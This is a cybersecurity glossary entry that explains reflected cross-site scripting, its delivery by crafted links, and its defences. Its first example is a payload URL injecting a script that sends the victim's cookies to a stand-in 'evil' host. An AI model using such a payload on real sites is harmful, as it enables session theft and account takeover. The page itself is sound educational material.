Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 912

Reflected XSS

What is Reflected XSS?

Reflected XSSA non-persistent XSS where attacker-controlled input from a request is immediately reflected into the response and executed in the victim's browser.


Reflected XSS (also called non-persistent or Type-1) happens when a web application takes data from an HTTP request, typically a URL query parameter or form field, and echoes it back in the response without proper output encoding. The attack requires the victim to click a crafted link, so it is usually delivered through phishing, malvertising, or chat messages. Successful exploitation can steal session cookies, perform actions on behalf of the user, or chain into a full account takeover. Defenses include context-aware HTML encoding, a strict Content Security Policy, the X-XSS-Protection header (legacy), and frameworks that auto-escape templated output.

Examples

  1. 01

    https://example.com/search?q=<script>document.location='https://evil/?c='+document.cookie</script>

  2. 02

    An error page that reflects an unsanitized 'message' query parameter directly into the DOM.

Frequently asked questions

What is Reflected XSS?

A non-persistent XSS where attacker-controlled input from a request is immediately reflected into the response and executed in the victim's browser. It belongs to the Attacks & Threats category of cybersecurity.

What does Reflected XSS mean?

A non-persistent XSS where attacker-controlled input from a request is immediately reflected into the response and executed in the victim's browser.

How does Reflected XSS work?

Reflected XSS (also called non-persistent or Type-1) happens when a web application takes data from an HTTP request, typically a URL query parameter or form field, and echoes it back in the response without proper output encoding. The attack requires the victim to click a crafted link, so it is usually delivered through phishing, malvertising, or chat messages. Successful exploitation can steal session cookies, perform actions on behalf of the user, or chain into a full account takeover. Defenses include context-aware HTML encoding, a strict Content Security Policy, the X-XSS-Protection header (legacy), and frameworks that auto-escape templated output.

How do you defend against Reflected XSS?

Defences for Reflected XSS typically combine technical controls and operational practices, as detailed in the full definition above.

What are other names for Reflected XSS?

Common alternative names include: Non-persistent XSS, Type-1 XSS.

Related terms

See also